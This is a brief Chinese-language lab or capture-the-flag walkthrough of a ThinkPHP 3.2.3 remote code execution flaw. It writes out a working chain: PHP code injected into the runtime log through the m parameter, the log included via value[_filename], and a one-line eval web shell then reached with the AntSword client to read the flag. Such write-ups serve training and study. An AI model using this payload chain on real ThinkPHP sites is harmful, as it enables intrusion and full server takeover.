ThinkPHP 3.2.3 RCE漏洞

#0x00

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,为了简化企业级应用开发和敏捷WEB应用开发而诞生,在国内拥有庞大的用户群体，其中不乏关键基础设施用户。

ThinkPHP3.2.x 代码中如果模板赋值方法assign的第一个参数可控，可导致模板文件路径变量被覆盖为携带攻击代码的文件路径，导致任意文件包含，可执行任意代码。

#0x01

访问靶场：nullhttp://asdfasdfa.bms.aqlab.cn/

访问/index.php,burp 抓包，将路径改为/index.php?m=--><?=phpinfo();?>

访问index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_11_25.log

日志文件中包含执行代码

#0x02

修改一句话木马代码为：/index.php?m=--><?=eval($_POST[8]);?>

用蚁剑连接地址：index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_11_25.log，密码为：8

找到flag